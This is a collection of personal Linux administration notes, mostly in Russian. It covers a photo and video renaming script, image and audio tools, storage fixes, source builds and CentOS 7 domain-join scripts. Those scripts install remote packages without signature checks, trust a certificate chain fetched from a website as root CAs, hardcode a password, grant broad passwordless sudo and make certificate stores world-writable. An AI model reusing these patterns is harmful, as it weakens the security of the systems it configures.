# Make the next one 'true' if you always want to add the original filename at the end of the new one.
# Otherwise the script will only do that if 2 files with the same name would be created.
preservefn="false"

for filename in *.*
do
  echo "$filename"
  tmp="$(echo "$filename" | tr '[A-Z]' '[a-z]')"
  case "$filename" in
    20*) 
      echo 'left alone because already starts with 20'
      ;;
    *.mp4|*.MP4)
      doelextensie=".mp4"
      wadissergebeurd="Video, used date of last change."
      newfilename="$(stat -c %y "$filename" | sed -e 's/\................//g' -e 's/-//g' -e 's/://g' -e 's/ /_/g')"
      if [ -a ""$newfilename""$doelextensie"" ] || [ "$preservefn" == "true" ]
      then
        mv -i "$filename" """$newfilename"_"$filename"""
        echo "$wadissergebeurd"
        echo 'Original name added at the end'
      else
        mv -i "$filename" ""$newfilename""$doelextensie""
        echo "$wadissergebeurd"
      fi
      ;;
    *.mpg|*.MPG)
      doelextensie=".mpg"
      wadissergebeurd="Video, used date of last change."
      newfilename="$(stat -c %y "$filename" | sed -e 's/\................//g' -e 's/-//g' -e 's/://g' -e 's/ /_/g')"
      if [ -a ""$newfilename""$doelextensie"" ] || [ "$preservefn" == "true" ]
      then
        mv -i "$filename" """$newfilename""_""$filename"""
        echo "$wadissergebeurd"
        echo 'Original name added at the end'
      else
        mv -i "$filename" ""$newfilename""$doelextensie""
        echo "$wadissergebeurd"
      fi
      ;;
    *.png|*.PNG)
      doelextensie=".png"
      wadissergebeurd="PNG, used date of last change."
      newfilename="$(stat -c %y "$filename" | sed -e 's/\................//g' -e 's/-//g' -e 's/://g' -e 's/ /_/g')"
      if [ -a ""$newfilename""$doelextensie"" ] || [ "$preservefn" == "true" ]
      then
        mv -i "$filename" """$newfilename""_""$filename"""
        echo "$wadissergebeurd"
        echo 'Original name added at the end'
      else
        mv -i "$filename" ""$newfilename""$doelextensie""
        echo "$wadissergebeurd"
      fi
      ;;
    *.avi|*.AVI)
      doelextensie=".avi"
      wadissergebeurd="Video, used date of last change."
      newfilename="$(stat -c %y "$filename" | sed -e 's/\................//g' -e 's/-//g' -e 's/://g' -e 's/ /_/g')"
      if [ -a ""$newfilename""$doelextensie"" ] || [ "$preservefn" == "true" ]
      then
        mv -i "$filename" """$newfilename""_""$filename"""
        echo "$wadissergebeurd"
        echo 'Original name added at the end'
      else
        mv -i "$filename" ""$newfilename""$doelextensie""
        echo "$wadissergebeurd"
      fi
      ;;
    *.mov|*.MOV)
      doelextensie=".mov"
      wadissergebeurd="Video, used date of last change."
      newfilename="$(stat -c %y "$filename" | sed -e 's/\................//g' -e 's/-//g' -e 's/://g' -e 's/ /_/g')"
      if [ -a ""$newfilename""$doelextensie"" ] || [ "$preservefn" == "true" ]
      then
        mv -i "$filename" """$newfilename""_""$filename"""
        echo "$wadissergebeurd"
        echo 'Original name added at the end'
      else
        mv -i "$filename" ""$newfilename""$doelextensie""
        echo "$wadissergebeurd"
      fi
      ;;
    *.JPG|*.jpg|*.jpeg|*.JPEG)
      newnametemp="$(exiftool -a -s -CreateDate "$filename")"
      doelextensie=".jpg"
      if [ -z "$newnametemp" ]
      then 
        wadissergebeurd="No exif date found, using last changed date"
        newfilename="$(stat -c %y "$filename" | sed -e 's/\................//g' -e 's/-//g' -e 's/://g' -e 's/ /_/g')"
        if [ -a ""$newfilename""$doelextensie"" ] || [ "$preservefn" == "true" ]
        then
          mv -i "$filename" """$newfilename"_"$filename"""
          echo "$wadissergebeurd"
          echo 'Original name added at the end'
        else
          mv -i "$filename" ""$newfilename""$doelextensie""
          echo "$wadissergebeurd"
        fi
      else
        newfilename="$(exiftool -a -s -CreateDate "$filename" | awk -F ': ' '{print $2}' | sed -e 's/://g' -e 's/ /_/g')"
        newfilename="$(echo $newfilename | cut -c 1-15)"
        wadissergebeurd="Date taken from exif info"
        if [ -a ""$newfilename""$doelextensie"" ] || [ "$preservefn" == "true" ]
        then
          mv -i "$filename" """$newfilename"_"$filename"""
          echo "$wadissergebeurd"
          echo 'Original name added at the end'
        else
          mv -i "$filename" ""$newfilename""$doelextensie""
          echo "$wadissergebeurd"
        fi
      fi
      ;;
    *)
      echo 'Not a *.jpg / *.png / *.mp4 / *.avi!'
      ;;
  esac
done

batch_optimize_jpgs_jpegs_photos_using_cli

anonymous@undisclosed.example.com (Anonymous) — Fri, 28 Nov 2025 10:23:14 +0000

Для пересылки по электронной почте мне понадобилось оптимизировать размер некоторого количества jpeg-файлов.
В ubuntu linux сделать это можно с помощью утилиты jpegoptim. Она позволяет как оптимизировать размер без потери качества, так и с потерей качества, указав его необходимый уровень.
Устанавливаем:

sudo apt-get install jpegoptim

Оптимизация размера jpeg без потери качества

Проверяем, насколько можно сжать файл:

jpegoptim -n file.jpg

Сжимаем один файл без потери качества:

jpegoptim file.jpg

Утилита сожмет и перезапишет файл. Если сжимать дальше уже невозможно, то файл будет пропущен.
Можно избежать перезаписи исходного файла, указав директорию для сохранения оптимизированных файлов:

jpegoptim -d ./optimized file.jpg

Сохранить аттрибуты файла (дата/время создания файла) можно, указав опцию -p:

jpegoptim -d ./optimized -p file.jpg

Сжать файл с потерей качества можно, указав опцию -mNN:

jpegoptim -m50 file.jpg

В результате файл будет оптимизирован по размеру с 50% потерей качества.

Оптимизировать по размеру все файлы jpg в папке можно с помощью однострочного цикла:

for i in *.jpg; do jpegoptim -d ./compressed -p "$i" ; done

Рекурсивно:

find /home/valusik/Изображения/ -type f -iname *.jpg -exec jpegoptim -p --all-progressive {} +

Уменьшение размера jpg до заданного

for i in *.jpg; do jpegoptim -S20% $i ; done

bluetooth_handset_microphone_absent

anonymous@undisclosed.example.com (Anonymous) — Thu, 11 Feb 2021 07:28:58 +0000

Проблема

В системе Ubuntu 20.04 + KDE не доступен микрофон подключенной гарнитуры bluetooth.

Решение

Оказалось, что для того, чтобы работал микрофон должен быть активен профиль bluetooth-гарнитуры Headset head unit (HSP/HFP), но по-умолчанию активируется профиль High Fidelity Playback (A2DP Sink), в котором микрофона нет.
Для того, чтобы переключить профиль bluetooth-гаритуры в KDE - подключаем гарнитуру, жмем правой кнопкой по иконке динамика рядом с часиками → Configure Audio Volume… → справа Audio → вкладка Advanced и выбираем для bluetooth-гаритуры нужный профиль.
Микрофон активен в профиле Headset head unit (HSP/HFP)
Некоторым приложениям может понадобиться перезапуск полный или частичный (завершение текущего звонка) для того, чтобы обнаружить вновь подключенный микрофон.

Автоматическое переключение

Можно включить автоматическое переключение на профиль Headset head unit (HSP/HFP) при появлении обращения к микрофону.
Для этого нужно отредактировать /etc/pulse/default.pa и добавить туда (или отредактировать) строки:

### Automatically load driver modules for Bluetooth hardware
.ifexists module-bluetooth-policy.so
load-module module-bluetooth-policy auto_switch=2
.endif

Необходимую опцию включает параметр auto_switch=2, который заставляет PulseAudio переключать профиль bluetooth в зависимости от задач.

boost_mp3_files_volume

anonymous@undisclosed.example.com (Anonymous) — Mon, 01 May 2023 19:21:16 +0000

bs1770gain

Конвертить лучше по одному файлу, чтобы громкость внутри каждого файла была масимальной:

find ./input_dir/* -exec bs1770gain -a -o ./output_dir/ --replaygain {} \;

И дальше сжать в MP3:

find ./output_dir/* -exec ffmpeg -i {} -ab 96k -map_metadata 0 -id3v2_version 3 {}.mp3 \;

btrfs_nocow_lvmcache_sad_story

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:17:51 +0000

Грустная история неудачного hibernate с последствиями для файловой системы BTRFS, размещенной на на разделе с включенным lvmcache и смонтированной с опцией nodatacow.

btrfs_replace_very_slow

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Проблема

При попытке переезда btrfs на другой том LVM с помощью btrfs replace я столкнулся с очень медленной работой.
Переезжал том размером 1.7 Tb. За 12 часов переехало около 3%. При этом в iotop особой активности заметно не было.

Решение

Оказалось гораздо эффективнее использовать btrfs device add/remove.
Я остановил процедуру replace с помощью:

btrfs replace cancel

Это потребовало еще несколько часов. Затем добавил к системе том на который я хочу переехать:

btrfs device add ...

а старый том из системы убрал командой:

btrfs device remove ...

В результате процесс пошел гораздо бодрее! iotop показал скорость чтения/записи порядка 60-70 Мб/сек.
Вся процедура производилась на примонтированной и неактивно используемой файловой системе.
В качестве бонуса, вариант btrfs device add/remove позволяет перемещать файловую систему на устройства меньшего объема, при условии, что все текущие файлы поместятся на нем.

building_guacamole_from_source

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Guacamole состоит из guacamole-server (осуществляет подключения через RDP и VNC) и guacamole-client (приложения, которое с помощью HTML5 отображает картинку в браузере)
Зависимости для сборки сервера на Ubuntu 16.04:

sudo apt-get update && sudo apt-get -y upgrade && sudo apt-get -y install wget nano  build-essential libcairo2-dev libfontconfig1-dev libfreetype6-dev libpng12-dev libossp-uuid-dev libssh2-1-dev libpango1.0-dev libfreerdp-dev libfreerdp-plugins-standard libavcodec-dev libavutil-dev libswscale-dev libtelnet-dev libvncserver-dev libpulse-dev libssl-dev libvorbis-dev libwebp-dev libjpeg-turbo8-dev

wget http://apache-mirror.rbc.ru/pub/apache/incubator/guacamole/0.9.11-incubating/source/guacamole-server-0.9.11-incubating.tar.gz
 tar -xvf ./guacamole-server-0.9.11-incubating.tar.gz
 cd guacamole-server-0.9.11-incubating
 ./configure --with-init-dir=/etc/init.d
 make

Для автостарта:

Клиент

 wget http://apache-mirror.rbc.ru/pub/apache/incubator/guacamole/0.9.11-incubating/source/guacamole-client-0.9.11-incubating.tar.gz
 tar -xzf guacamole-client-0.9.11-incubating.tar.gz
 cd guacamole-client-0.9.11-incubating/
mvn package

building_wine_from_source

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

sudo apt-get install gcc-multilib g++-multilib lib32ncurses5 lib32z1 \
xorg-dev libx11-dev flex bison libglu1-mesa-dev libosmesa6-dev \
libopentk-cil-dev ocl-icd-opencl-dev libpcap-dev libdbus-cpp-dev \
libdbusmenu-gtk-dev libdbusmenu-gtk3-dev libdbusmenu-qt-dev \
libdbusmenu-qt5-dev libncurses5-dev libsane-dev

git clone git://source.winehq.org/git/wine.git ~/wine-dirs/wine-source
cd ~/wine-dirs/wine-source/
./configure --enable-win64

build_gcc_5.3.0_from_source

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Установка зависимостей, нужных для сборки

Устанавливаем запчасти:

sudo apt-get update && sudo apt-get install bzip2 cmake build-essential bison zlib1g-dev

Для успешной компиляции нужно установить GMP, MPC и MPFR.

GMP

wget http://ftp.gnu.org/gnu/gmp/gmp-6.1.0.tar.bz2

Распаковываем и ставим GMP:

bunzip2 ./gmp-6.1.0.tar.bz2
tar -xvf ./gmp-6.1.0.tar
cd ./gmp-6.1.0/ 
./configure
make
make check
sudo make install
cd ..

MPFR

wget http://ftp.gnu.org/gnu/mpfr/mpfr-3.1.3.tar.bz2

Распаковываем и ставим mpfr:

bunzip2 ./mpfr-3.1.3.tar.bz2
tar -xvf ./mpfr-3.1.3.tar
cd mpfr-3.1.3/
curl http://www.mpfr.org/mpfr-3.1.3/allpatches | patch -N -Z -p1
./configure
make
make check
sudo make install
cd ..

MPC

MPC нельзя установить без MPFR

wget http://ftp.gnu.org/gnu/mpc/mpc-1.0.3.tar.gz

Распаковываем собираем и ставим mpc:

tar -xvf ./mpc-1.0.3.tar.gz
cd ./mpc-1.0.3/
./configure
make
make check
sudo make install
cd ..

Собираем GCC

Процесс сборки и установки GCC 5.3 хорошо описан тут: http://www.linuxfromscratch.org/blfs/view/cvs/general/gcc.html Скачиваем архив с GCC и распаковываем:

wget http://ftpmirror.gnu.org/gcc/gcc-5.3.0/gcc-5.3.0.tar.bz2
bzip2 -d ./gcc-5.3.0.tar.bz2
tar -xvf ./gcc-5.3.0.tar

Создаем директорию, в которой будет проходить сборка и конфигурируем GCC:

mkdir ./gcc-build
cd gcc-build/
../gcc-5.3.0/configure --prefix=/usr --disable-multilib --with-system-zlib --enable-languages=c,c++,fortran,go,objc,obj-c++

Собираем:

make

Устанавливаем GCC

sudo make install
sudo mkdir -pv /usr/share/gdb/auto-load/usr/lib
sudo mv -v /usr/lib64/*gdb.py /usr/share/gdb/auto-load/usr/lib
sudo chown -v -R root:root /usr/lib/gcc/*linux-gnu/5.3.0/include{,-fixed}
sudo ln -v -sf ../usr/bin/cpp /lib
sudo ln -v -sf gcc /usr/bin/cc
sudo install -v -dm755 /usr/lib/bfd-plugins
sudo ln -sfv ../../libexec/gcc/$(gcc -dumpmachine)/5.3.0/liblto_plugin.so /usr/lib/bfd-plugins/

Проверяем что получилось:

gcc -v

Вывод должен быть примерно такой:

Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-unknown-linux-gnu/5.3.0/lto-wrapper
Target: x86_64-unknown-linux-gnu
Configured with: ../gcc-5.3.0/configure --prefix=/usr --disable-multilib --with-system-zlib --enable-languages=c,c++,fortran,go,objc,obj-c++
Thread model: posix
gcc version 5.3.0 (GCC)

Изменение gcc используемого по-умолчанию

если установлено несколько компиляторов, то переключаться между ними можно с помощью стандатрного механизма, обслуживающего символические ссылки - update-alternatives.
Чтобы посмотреть текущую ссылку gcc:

update-alternatives --query gcc

Чтобы изменить текущую ссылку на gcc:

sudo update-alternatives --auto gcc
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/x86_64-unknown-linux-gnu-gcc-5.3.0 60

В последней команде после - -install указываем последовательно путь к символической ссылке (/usr/bin/gcc), имя (gcc), путь к исполняемому файлу (/usr/bin/x86_64-unknown-linux-gnu-gcc-5.3.0) и приоритет (60).

build_tcp_dump_on_openrisc_ork1_java_emulator

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

wget http://ftp.gnu.org/gnu/automake/automake-1.15.1.tar.gz
wget https://github.com/westes/flex/releases/download/v2.6.4/flex-2.6.4.tar.gz

cannot-open-dev-sdc1-device-or-resource-busy

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

Иногда так бывает, что на диске удается создать раздел, но использовать его не получается - выводится сообщение, что Cannot open /dev/sdc1: Device or resource busy.
Например, при создании массива mdadm выводится сообшение типа:

mdadm: Cannot open /dev/sdc1: Device or resource busy

Причина

Вероятная причина этого в том, что диск ранее был в составе массива RAID, созданного fake-RAID контроллером. Это приводит к тому, что модуль dmraid считывает с него информацию о бывшем массиве и создает соответствующие устройства.

Решение

Увидеть все подозрительные устройства можно с помощью команды:

dmsetup status

Там будут представлены логические устройства хранения (тома LVM, массивы fake-raid и др.).

Или просто поглядеть в файловой системе:

ls /dev/mapper/

У меня был диск, который работал в массиве под управлением контроллера NVIDIA. Там были такие устройства:

nvidia_igcghhag
nvidia_igcghhagp1
nvidia_igcghhagp2

Я их удалил командами:

dmsetup remove /dev/mapper/nvidia_igcghhagp2
dmsetup remove /dev/mapper/nvidia_igcghhagp1
dmsetup remove /dev/mapper/nvidia_igcghhag

Всё. После этого я успешно создал массив mdadm на этом диске.

centos-зависает-при-выполнении-mdadm-stop

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

Экспериментировал с программным рейдом в XenServer 6.2 (сервер чистый, без апдейтов). Возможно, в апдейтах эту проблему исправили.
Столкнулся со странной ситуацией - на XenServer 6.2 при выполнении mdadm –stop система сообщает что массив остановлен, но затем ВСЕ виснет намертво и помогает только ресет кнопкой.
При перезагрузке массив автоматически собирается, поэтому возникает вопрос - а как его остановить?

Решение

Я нашел такой выход - загружаем систему, делаем тип диска не fd:

sgdisk --typecode=3:8300 /dev/sdb

В данном случае изменяем тип раздела /dev/sdb3.
Если диск не разбит на разделы, то команда будет такой:

sgdisk --typecode=8300 /dev/sdb

затем перезагружаемся:

reboot

затем обнуляем суперблок и делаем раздел снова fd:

mdadm --zero-superblock  /dev/sdb3\\
sgdisk --typecode=3:fd00 /dev/sdb

И добавляем раздел в нужный массив:

mdadm -a /dev/md3 /dev/sdb3

centos_7_minimal_sssd_setup_script

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

#! /bin/bash

####################################
#### Variables
####################################
NEW_HOSTNAME="centos-01"
NEW_DOMAINNAME="test.com"
DNS_SERVERS="192.168.246.130"
DNS_STATIC_SEARCHLIST="$NEW_DOMAINNAME"
AD_USER="usik-ma"
DOMAIN_CONTROLLERS=$(cat <<EOF
dc01.test.com
dc02.test.com
EOF
)
DEFAULT_REALM="${NEW_DOMAINNAME^^}"
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  '1,$ s/\..*//g')
CA_CERT_PREFIX="SberBank_Root_CA"

##############################################
### Disable IPv6
##############################################
cp /etc/sysctl.conf /etc/sysctl.conf.bak_`date +"%d.%m.%y_%H-%M"`
sed -i '/^net.ipv6.conf/D' /etc/sysctl.conf
echo 'net.ipv6.conf.all.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
echo 'net.ipv6.conf.default.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
echo 'net.ipv6.conf.lo.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
sysctl -p
dhclient

##############################################
### Setting up Network
##############################################
hostnamectl set-hostname $NEW_HOSTNAME.$NEW_DOMAINNAME
sed -i '/^127./D' /etc/hosts
echo "127.0.0.1 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME localhost.localdomain localhost" | sudo tee -a /etc/hosts

echo "NETWORKING=yes" | sudo tee /etc/sysconfig/network
echo "HOSTNAME=$NEW_HOSTNAME.$NEW_DOMAINNAME" | sudo tee -a /etc/sysconfig/network
echo "SEARCH=$DNS_STATIC_SEARCHLIST" | sudo tee -a /etc/sysconfig/network

dnsnumber=1
for nameserver in $DNS_SERVERS; do
echo "DNS$dnsnumber=$nameserver" | sudo tee -a /etc/sysconfig/network
let "dnsnumber = dnsnumber + 1"
done

CONNECTIONS=$(nmcli -t -f NAME connection show)
for connection in $CONNECTIONS; do
nmcli con mod $connection connection.autoconnect yes
nmcli con mod $connection ipv4.dns-search $DNS_STATIC_SEARCHLIST
nmcli con mod $connection ipv4.ignore-auto-dns yes
sudo nmcli c modify $connection ipv4.dns ''
  for nameserver in $DNS_SERVERS; do
    nmcli c modify $connection +ipv4.dns $nameserver
  done
nmcli c down $connection
nmcli c up $connection
done
echo "Waiting for network..."
sleep 10

###########################################
### Add Corporate IronPort Certificates
###########################################
update-ca-trust force-enable
echo "Trying to reach ya.ru..."
ping -c 5 ya.ru &> /dev/null && openssl s_client -showcerts -connect ya.ru:443 </dev/null > chain.pem || exit
csplit -k -f $CA_CERT_PREFIX ./chain.pem '/END CERTIFICATE/+1' {10}
find ./ -iname $CA_CERT_PREFIX\* -type f -exec grep -F -L 'END CERTIFICATE' '{}' + | xargs -d '\n' rm
for file in "$CA_CERT_PREFIX"* ; do sudo mv "$file" /etc/pki/ca-trust/source/anchors/"$file".pem ; done
for file in /etc/pki/ca-trust/source/anchors/"$CA_CERT_PREFIX"* ; do sudo cp "$file" /etc/ssl/certs/ ; done
update-ca-trust extract
rm -f ./chain.pem

####################################
#### Setup Software
####################################
yum -y update
yum -y install chrony nano yum-utils openssl
yum -y install realmd oddjob oddjob-mkhomedir sssd adcli samba-common-tools
yum -y groupinstall "X Window System" "Fonts" kde-desktop
yum -y groupinstall "Internet Browser" "Office Suite and Productivity"
#yum -y groupinstall "Graphical Administration Tools" "General Purpose Desktop" "Graphics Creation Tools"
systemctl set-default graphical.target
systemctl disable initial-setup-text
systemctl disable initial-setup-graphical

yum -y install --nogpgcheck  https://repo.yandex.ru/yandex-browser/rpm/beta/x86_64/yandex-browser-beta-17.1.1.773-1.x86_64.rpm
yum -y install --nogpgcheck https://tel.red/repos/redhat/7/noarch/telred-redhat-7-latest.el7.noarch.rpm
yum -y install --nogpgcheck http://linuxdownload.adobe.com/adobe-release/adobe-release-x86_64-1.0-1.noarch.rpm
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-TELRED

yum -y update

yum -y install xorg-x11-server-Xvfb evolution evolution-ews evolution-plugins \
clamav yandex-browser-beta flash-plugin alsa-plugins-pulseaudio libcurl sky

#############################################
#### Setting sudo
#############################################
cat <<EOF > /etc/sudoers.d/domain_users
localuser       ALL=(ALL) ALL
%domain\ users\@$NEW_DOMAINNAME          ALL=(ALL) ALL
%domain\ users          ALL=(ALL) ALL
%domain\ admins\@$NEW_DOMAINNAME      ALL=(ALL) NOPASSWD: ALL
%domain\ admins      ALL=(ALL) NOPASSWD: ALL
EOF

sed -i "/^Defaults\ targetpw.*\$/ s/^/#/" /etc/sudoers
sed -i "/^Defaults\ env_reset.*\$/ s/\ env_reset/\ \!env_reset/" /etc/sudoers
sed -i "/^ALL.*ALL=(ALL).*\$/ s/^/#/" /etc/sudoers

#########################################
### Setup NTP servers
#########################################
sudo systemctl start chronyd.service
sed -i "/^pool.*\$/ s/^/#/" /etc/chrony.conf
sed -i "/^server.*\$/ s/^/#/" /etc/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo "server $dc iburst" | sudo tee -a /etc/chrony.conf
done
sudo systemctl restart chronyd.service

########################################################
#### Setup Kerberos and Samba
########################################################
mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +"%d.%m.%y_%H-%M"`
mv /etc/krb5.conf /etc/krb5.conf.bak_`date +"%d.%m.%y_%H-%M"`

authconfig --smbsecurity=ads --smbworkgroup=$NETBIOS_DOMAIN_NAME \
--smbrealm=$DEFAULT_REALM --krb5realm=$DEFAULT_REALM \
--krb5kdc=$(echo $DOMAIN_CONTROLLERS | sed "s/\ /,/g") --enablekrb5kdcdns \
--enablekrb5realmdns --update

sed -i "/^.*kerberos method =.*\$/ s/=.*$/= secrets and keytab/" /etc/samba/smb.conf
sed -i "/^.*template shell =.*\$/ s/=.*$/= \/bin\/bash/" /etc/samba/smb.conf
sed -i "/^.*winbind offline logon =.*\$/ s/=.*$/= yes/" /etc/samba/smb.conf
sed -i "/^.*winbind use default domain =.*\$/ s/=.*$/= yes/" /etc/samba/smb.conf

cat <<EOF >> /etc/samba/smb.conf

usershare max shares = 100
winbind refresh tickets = yes
encrypt passwords = yes

EOF

############################################################
### Enable Autostart apps
############################################################
mkdir --parents /etc/skel/.config/autostart/
cp /usr/share/applications/sky.desktop /etc/skel/.config/autostart/

#######################################################                                                                                                                                        
#### Import CA Certificates into Browsers                                                                                                                                                      
#   http://blog.xelnor.net/firefox-systemcerts/                                                                                                                                                
#######################################################                                                                                                                                        
HOMEDIR=$(getent passwd $SUDO_USER | cut -d: -f6)                                                                                                                                                                                                                                                                                                   
rm -Rf $HOMEDIR/.mozilla                                                                                                                                                                  
rm -Rf $HOMEDIR/.pki                                                                                                                                                                      
                                                                                                                                                                                               
########################################################                                                                                                                                       
#### Create and fill cert8.db in Firefox Profile                                                                                                                                               
########################################################                                                                                                                                       
killall firefox                                                                                                                                                                           
sudo -u  $SUDO_USER xvfb-run --server-args="-screen 0, 1280x1024x24" firefox -CreateProfile default
FirefoxProfileDir=$(find $HOMEDIR'/.mozilla/firefox/' -iname '*.default');
for certificateFile in /etc/pki/ca-trust/source/anchors/"$CA_CERT_PREFIX"* ;
do
 certutil -A -n "${certificateFile}" -t "TCu,Cuw,Tuw" -i ${certificateFile} -d ${FirefoxProfileDir}
done
chmod -R a+rw $HOMEDIR/.mozilla/firefox/*

################################################################################
#### Import certificates into nssdb for Chromium engine
################################################################################
mkdir --parents $HOMEDIR/.pki/nssdb
echo 1q2w3e4r | sudo tee $HOMEDIR/.pki/nssdb/password-file
certutil -N -f $HOMEDIR/.pki/nssdb/password-file -d $HOMEDIR/.pki/nssdb
for certificateFile in /etc/pki/ca-trust/source/anchors/"$CA_CERT_PREFIX"* ;
do
 certutil -f $HOMEDIR/.pki/nssdb/password-file -A -n "${certificateFile}" -t "TCu,Cuw,Tuw" -i ${certificateFile} -d sql:$HOMEDIR/.pki/nssdb
done
chmod -R a+rw $HOMEDIR/.pki/nssdb/*

#########################################################
### Copy databases with imported certs to default profile
#########################################################
rm -Rf /etc/skel/.pki/nssdb/*
rm -Rf /etc/skel/.mozilla/firefox/*
mkdir --parents /etc/skel/.pki/nssdb/
cp -Rf $HOMEDIR/.pki/nssdb/* /etc/skel/.pki/nssdb/
mkdir --parents /etc/skel/.mozilla/firefox/
cp -Rf $HOMEDIR/.mozilla/firefox/* /etc/skel/.mozilla/firefox/

#########################################################
### Disable KDEWallet By Default
#########################################################
mkdir --parents /etc/skel/.config/
cat <<EOF > /etc/skel/.config/kwalletrc
[Wallet]
Enabled=false
EOF

mkdir --parents /etc/skel/.kde/share/config/
cp /etc/skel/.config/kwalletrc /etc/skel/.kde/share/config/kwalletrc

#################################################################
#### Add Launchers
#################################################################
#mkdir --parents /etc/skel/.kde/share/config/
#
#cat <<EOF > /ets/skel/.kde/share/config/plasma-desktop-appletsrc
#[Containments][1][Applets][5][Configuration][Launchers]
#Items=file:///opt/yandex/browser-beta/yandex_browser?wmClass=yandex-browser-beta%20%28%2Fhome%2Fmike%40test.com%2F.config%2Fyandex-browser-beta%29,file:///usr/share/applications/sky.desktop?wmClass=Sky,file:///usr/share/applications/kde4/konsole.desktop?wmClass=Konsole,file:///usr/share/applications/evolution.desktop?wmClass=Evolution
#EOF

##############################################
#### Join domain using SSSD
##############################################
#realm join -U $AD_USER $NEW_DOMAINNAME

Setup Citrix VDA

#!/bin/bash
service postgresql initdb
CTX_XDL_SUPPORT_DDC_AS_CNAME=N \
CTX_XDL_DDC_LIST="v-szud-ctxdc-01.sigma.sbrf.ru v-szud-ctxdc-02.sigma.sbrf.ru" \
CTX_XDL_VDA_PORT=80 \
CTX_XDL_REGISTER_SERVICE=Y \
CTX_XDL_ADD_FIREWALL_RULES=Y \
CTX_XDL_AD_INTEGRATION=4 \
CTX_XDL_HDX_3D_PRO=N \
CTX_XDL_VDI_MODE=Y \
CTX_XDL_SITE_NAME='<none>' \
CTX_XDL_LDAP_LIST='<none>' \
CTX_XDL_SEARCH_BASE='<none>' \
CTX_XDL_START_SERVICE=Y \
/opt/Citrix/VDA/sbin/ctxsetup.sh

centos_7_minimal_winbind_setup_script

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Script

#! /bin/bash

####################################
#### Variables
####################################
NEW_HOSTNAME="centos-01"
NEW_DOMAINNAME="test.com"
DNS_SERVERS="192.168.246.130"
DNS_STATIC_SEARCHLIST="$NEW_DOMAINNAME"
AD_USER="usik-ma"
DOMAIN_CONTROLLERS=$(cat <<EOF
dc01.test.com
dc02.test.com
EOF
)
DEFAULT_REALM="${NEW_DOMAINNAME^^}"
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  '1,$ s/\..*//g')
CA_CERT_PREFIX="SberBank_Root_CA"

##############################################
### Disable IPv6
##############################################
cp /etc/sysctl.conf /etc/sysctl.conf.bak_`date +"%d.%m.%y_%H-%M"`
sed -i '/^net.ipv6.conf/D' /etc/sysctl.conf
echo 'net.ipv6.conf.all.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
echo 'net.ipv6.conf.default.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
echo 'net.ipv6.conf.lo.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
sysctl -p
dhclient

##############################################
### Setting up Network
##############################################
hostnamectl set-hostname $NEW_HOSTNAME.$NEW_DOMAINNAME
sed -i '/^127./D' /etc/hosts
sed -i '/^::1/D' /etc/hosts
echo "127.0.0.1 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME localhost.localdomain localhost" | sudo tee -a /etc/hosts

echo "NETWORKING=yes" | sudo tee /etc/sysconfig/network
echo "HOSTNAME=$NEW_HOSTNAME" | sudo tee -a /etc/sysconfig/network
echo "SEARCH=$DNS_STATIC_SEARCHLIST" | sudo tee -a /etc/sysconfig/network

dnsnumber=1
for nameserver in $DNS_SERVERS; do
echo "DNS$dnsnumber=$nameserver" | sudo tee -a /etc/sysconfig/network
let "dnsnumber = dnsnumber + 1"
done

CONNECTIONS=$(nmcli -t -f NAME connection show)
for connection in $CONNECTIONS; do
nmcli con mod $connection connection.autoconnect yes
nmcli con mod $connection ipv4.dns-search $DNS_STATIC_SEARCHLIST
nmcli con mod $connection ipv4.ignore-auto-dns yes
sudo nmcli c modify $connection ipv4.dns ''
  for nameserver in $DNS_SERVERS; do
    nmcli c modify $connection +ipv4.dns $nameserver
  done
nmcli c down $connection
nmcli c up $connection
done
echo "Waiting for network..."
sleep 10

echo "$NEW_HOSTNAME" | sudo tee /etc/hostname

###########################################
### Add Corporate IronPort Certificates
###########################################
update-ca-trust force-enable
echo "Trying to reach ya.ru..."
ping -c 5 ya.ru &> /dev/null && openssl s_client -showcerts -connect ya.ru:443 </dev/null > chain.pem || exit
csplit -k -f $CA_CERT_PREFIX ./chain.pem '/END CERTIFICATE/+1' {10}
find ./ -iname $CA_CERT_PREFIX\* -type f -exec grep -F -L 'END CERTIFICATE' '{}' + | xargs -d '\n' rm
for file in "$CA_CERT_PREFIX"* ; do sudo mv "$file" /etc/pki/ca-trust/source/anchors/"$file".pem ; done
for file in /etc/pki/ca-trust/source/anchors/"$CA_CERT_PREFIX"* ; do sudo cp "$file" /etc/ssl/certs/ ; done
update-ca-trust extract
rm -f ./chain.pem

####################################
#### Setup Software
####################################
yum -y update
yum -y install chrony nano yum-utils openssl
yum -y install samba samba-winbind* authconfig samba-common-tools net-tools \
pam_krb5 bind-utils samba-winbind samba-winbind-clients krb5-workstation \
oddjob-mkhomedir
